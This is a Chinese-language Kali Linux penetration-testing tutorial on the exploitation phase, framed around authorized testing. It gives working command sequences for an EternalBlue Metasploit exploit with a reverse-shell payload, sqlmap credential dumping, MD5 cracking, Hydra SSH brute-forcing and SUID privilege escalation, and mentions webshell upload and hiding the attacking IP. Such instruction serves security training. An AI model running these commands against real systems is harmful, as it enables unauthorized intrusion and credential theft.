Kali Linux 实战:网络渗透测试中的渗透攻击全流程指南

在网络渗透测试的 “侦察 - 扫描 - 攻击 - 提权 - 维持 - 清理” 六阶段中,渗透攻击是突破目标系统防线的核心环节 —— 通过利用前期扫描发现的漏洞(如缓冲区溢出、SQL 注入、弱口令等),获取目标系统的初始访问权限。本文将基于 Kali Linux,详解渗透攻击阶段的核心思路、常用工具与实操案例,帮助安全从业者掌握合法攻击的关键技能。

一、渗透攻击前的核心准备:明确目标与环境

在发起攻击前,需完成两项关键准备,避免盲目操作导致测试失败或合规风险:

1. 确认授权范围与攻击边界

  1. 必须持有目标方签署的《渗透测试授权书》,明确可攻击的 IP 段、系统、应用(如 “仅允许测试 192.168.0/24 网段内的 Web 服务器,禁止攻击核心数据库”);
  2. 禁止使用可能影响第三方的攻击手段(如 DDoS、大规模端口扫描),避免引发网络故障。

2. 整理前期侦察与扫描结果

攻击需基于 “已知漏洞”,需先整合信息:

  1. 目标资产信息:IP 地址、操作系统版本(如 Windows Server 2019、Ubuntu 20.04)、开放端口(如 80/443 Web 服务、3389 RDP 远程桌面)、运行服务(如 Apache 2.4、MySQL 5.7);
  2. 漏洞信息:通过 Nessus、OpenVAS 扫描出的高危漏洞(如 Log4j 漏洞、MS17-010 永恒之蓝)、弱口令风险(如 SSH 默认账户)、Web 应用漏洞(如 SQL 注入、文件上传)。

3. 搭建攻击环境(可选)

  1. 若测试环境复杂,可在 Kali 中搭建 “攻击跳板”(如通过 SSH 隧道转发流量),或使用Proxychains代理工具,隐藏真实攻击 IP;
  2. 开启 Kali 的流量抓包工具(如 Wireshark),记录攻击过程中的数据包,便于后续分析与报告编写。

二、Kali Linux 渗透攻击:三大常见场景与实操案例

根据目标漏洞类型,渗透攻击可分为 “系统漏洞利用”“Web 应用攻击”“弱口令破解” 三大类,以下结合 Kali 内置工具展开实操。

场景 1:系统漏洞利用 —— 以 “永恒之蓝(MS17-010)” 为例

适用场景:目标系统为 Windows 7/Server 2008,且开放 445 端口(SMB 服务),存在永恒之蓝漏洞(可通过 Nessus 扫描确认)。

核心工具:Metasploit Framework(Kali 默认预装,渗透测试 “瑞士军刀”)。

实操步骤:
  1. 启动 Metasploit 控制台

在 Kali 终端执行命令:

msfconsole  # 启动Metasploit,首次启动需加载数据库

  1. 搜索永恒之蓝漏洞模块

输入命令查找适配的漏洞利用模块:

search ms17-010  # 结果中选择“exploit/windows/smb/ms17_010_eternalblue”

  1. 加载模块并配置参数

use exploit/windows/smb/ms17_010_eternalblue  # 加载漏洞利用模块

set RHOSTS 192.168.1.100  # 设置目标IP(需替换为实际目标)

set LHOST 192.168.1.50    # 设置Kali攻击机IP(用于接收反弹Shell

set PAYLOAD windows/meterpreter/reverse_tcp  # 选择反弹Shell payload(获取交互式控制)

show options  # 检查参数是否配置正确

  1. 发起攻击并获取 Shell

执行攻击命令,若漏洞利用成功,将获取目标系统的 Meterpreter Shell:

exploit  # 发起攻击

# 成功后进入meterpreter交互界面,可执行后续操作(如提权、文件下载)

  1. 验证权限

在 Meterpreter 中执行getuid命令,查看当前获取的用户权限(初始多为普通用户,需后续提权)。

场景 2:Web 应用攻击 —— 以 “SQL 注入获取管理员账户” 为例

适用场景:目标 Web 应用存在 SQL 注入漏洞(如登录页、查询页,可通过 Burp Suite 扫描确认),且数据库未做防注入防护。

核心工具:SQLmap(Kali 默认预装,自动化 SQL 注入工具)、Burp Suite(抓包与漏洞验证)。

实操步骤:
  1. 抓取注入点请求包
    1. 打开 Burp Suite,配置 Kali 浏览器代理(默认 127.0.0.1:8080);
    2. 访问目标 Web 页面(如http://19168.1.101/login.php),输入测试账号密码(如 admin/123),点击登录;
    3. 在 Burp Suite 的 “Proxy -> Intercept” 中捕获登录请求包,右键 “Copy to file” 保存为login_request.txt
  2. 用 SQLmap 检测注入并获取数据库

在 Kali 终端执行命令,基于请求包自动化注入:

sqlmap -r login_request.txt --dbs  # -r加载请求包,--dbs获取所有数据库名称

等待检测完成,若存在注入漏洞,将列出目标数据库(如web_db)。

  1. 获取管理员表与字段

sqlmap -r login_request.txt -D web_db --tables  # -D指定数据库,--tables获取所有表

# 假设发现管理员表为“admin”,继续获取字段

sqlmap -r login_request.txt -D web_db -T admin --columns  # -T指定表,--columns获取字段

  1. 导出管理员账户密码

若密码字段为password(可能加密),执行命令导出数据:

sqlmap -r login_request.txt -D web_db -T admin -C username,password --dump  # --dump导出数据

    1. 若密码为 MD5 加密,可使用 Kali 的john工具破解(如john --format=raw-md5 hash.txt);
    2. 获得明文账号密码后,可直接登录 Web 后台,进一步获取服务器权限(如上传 webshell)。

场景 3:弱口令破解 —— 以 “SSH 服务弱口令攻击” 为例

适用场景:目标系统开放 22 端口(SSH 服务),且管理员使用简单密码(如 123456、admin@123)。

核心工具:Hydra(Kali 默认预装,多协议暴力破解工具)、Crunch(密码字典生成工具)。

实操步骤:
  1. 生成自定义密码字典(可选)

若没有现成字典,用 Crunch 生成 6 位数字密码字典:

crunch 6 6 0123456789 -o pass6.txt  # 生成6位纯数字密码,保存为pass6.txt

  1. 用 Hydra 暴力破解 SSH

执行命令,指定目标 IP、用户名列表、密码字典:

hydra -L user.txt -P pass6.txt 192.168.1.100 ssh  # -L用户名列表,-P密码字典,ssh指定协议

    1. user.txt为自定义用户名列表(如包含 root、admin、ubuntu 等常见用户名);
    2. 破解成功后,Hydra 会输出 “[22][ssh] host:19168.1.100   login:root   password:123456”。
  1. 验证登录

用破解的账号密码登录目标 SSH:

ssh root@192.168.1.100  # 输入密码123456,成功登录后获取目标系统控制权

三、渗透攻击后的关键操作:权限巩固与痕迹记录

攻击成功获取初始权限后,需完成两项关键动作,确保测试有效且合规:

1. 权限提升(从普通用户到管理员)

  1. Windows 系统:在 Meterpreter 中执行getsystem命令,尝试自动提权;或利用系统漏洞(如 CVE-2021-1732)加载提权模块。
  2. Linux 系统:通过sudo -l查看可执行的高权限命令,或利用 SUID 文件漏洞(如find命令提权:find / -perm -u=s -type f 2>/dev/null)。

2. 记录攻击痕迹与证据

  1. 截图保存攻击过程(如 Metasploit 成功界面、SSH 登录记录);
  2. 导出漏洞利用日志(如 SQLmap 的output目录、Burp Suite 的历史记录);
  3. 整理攻击使用的工具、参数、漏洞编号,为后续测试报告提供依据。

四、攻击阶段的核心原则:合法、可控、最小影响

  1. 绝不越权攻击:严格按照授权范围操作,禁止访问未授权的系统或数据;
  2. 避免破坏目标:禁用可能导致系统崩溃的攻击手段(如格式化硬盘、删除关键文件);
  3. 及时清理测试痕迹:测试结束后,删除攻击时上传的 webshell、后门程序,恢复目标系统至初始状态(除非授权方要求保留)。

总结

Kali Linux 的渗透攻击能力,源于其集成的专业工具与灵活的命令行操作,但工具只是 “武器”,真正的核心是对漏洞原理的理解与攻击思路的设计 —— 例如,通过 “SQL 注入获取 Web 权限→上传 webshell→反弹 Shell→提权” 的链路,逐步深入目标系统。

对于安全从业者而言,需牢记:渗透攻击的目的不是 “破坏”,而是 “发现漏洞并帮助修复”。只有在合法授权的前提下,结合技术能力与职业道德,才能真正发挥 Kali Linux 的价值,为企业网络安全保驾护航。

若你在实操中遇到具体问题(如 Metasploit 攻击失败、SQLmap 注入无结果),欢迎在评论区留言,我们将针对性分析解决方案!

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐